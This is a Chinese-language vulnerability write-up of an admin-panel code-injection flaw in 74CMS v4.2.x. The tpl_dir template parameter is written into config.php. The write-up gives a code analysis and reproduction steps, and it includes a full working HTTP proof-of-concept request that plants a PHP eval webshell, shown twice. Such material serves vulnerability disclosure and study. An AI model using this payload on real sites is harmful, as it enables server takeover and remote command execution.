影响范围
74CMS v4.2.1~v4.2.129
漏洞危害
后台Getshell
攻击类型
后台Getshell
利用条件
登陆后台
漏洞简介
74CMS管理后台在更换模板时由于模板的路径参数可控且对参数的安全性考虑不全导致该参数可控,最终攻击者可以利用该处的设计向配置文件写入一句话木马,并Getshell。
漏洞分析
漏洞触发位置为TplController.class.php文件中的set函数:
74cms_Home_Setup_v4.2.111\74cms_v4.2.111\upload\Application\Admin\Controller\TplController.class.php
从上面可以看到从请求包中获取到的tpl_dir只是进行了一个简单的过滤——去除两边的空格,之后调用“_get_templates_info”来获取模板的信息:
之后使用“ads_init”来配置当前主题下的广告位置布局信息
最后使用updateconfig来更新配置信息,并将之前设置的配置内容写入文件:
由此可知,我们之前写入的tpl_dir值最终会被写入config.php文件,而初始情况下config.php为一个数组:
所以我们最后写入的tpl_dir内容文件会代替此处的default,由此可知我们可以构造特殊payload来闭合单引号插入恶意代码最终getshell!
漏洞复现
首先下载漏洞环境,之后通过PHPstudy搭建漏洞测试环境:
之后使用安装时设置的管理员账号密码进行登录
之后依次点击"工具"——》"风格模板",之后点击"可用模板",同时使用burpsuite抓包:
之后修改“tpl_dir”的值为“ ', 'a',phpinfo(),' ”:
之后可以看到成功向配置文件中写入了之前构造的php代码:
之后在浏览器中访问可成功执行phpinfo():
同时我们也可以构造一句话木马:
GET /74cms/index.php?m=admin&c=tpl&a=set&tpl_dir=','a',eval($_POST['cmd']),' HTTP/1.1
Host: 192.168.174.160
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.174.160/74cms/index.php?m=admin&c=tpl&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ptacfv3e96fo666m97k6t21su5; think_language=zh-CN; think_template=default
Connection: close
写入后config.php文件内容如下:
之后使用Firefox中的hackbar进行测试与命令执行:
之后使用蚁剑可以成功连接并getshell
漏洞POC
GET /74cms/index.php?m=admin&c=tpl&a=set&tpl_dir=','a',eval($_POST['cmd']),' HTTP/1.1
Host: 192.168.174.160
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.174.160/74cms/index.php?m=admin&c=tpl&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ptacfv3e96fo666m97k6t21su5; think_language=zh-CN; think_template=default
Connection: close
修复建议
升级74CMS到最新版本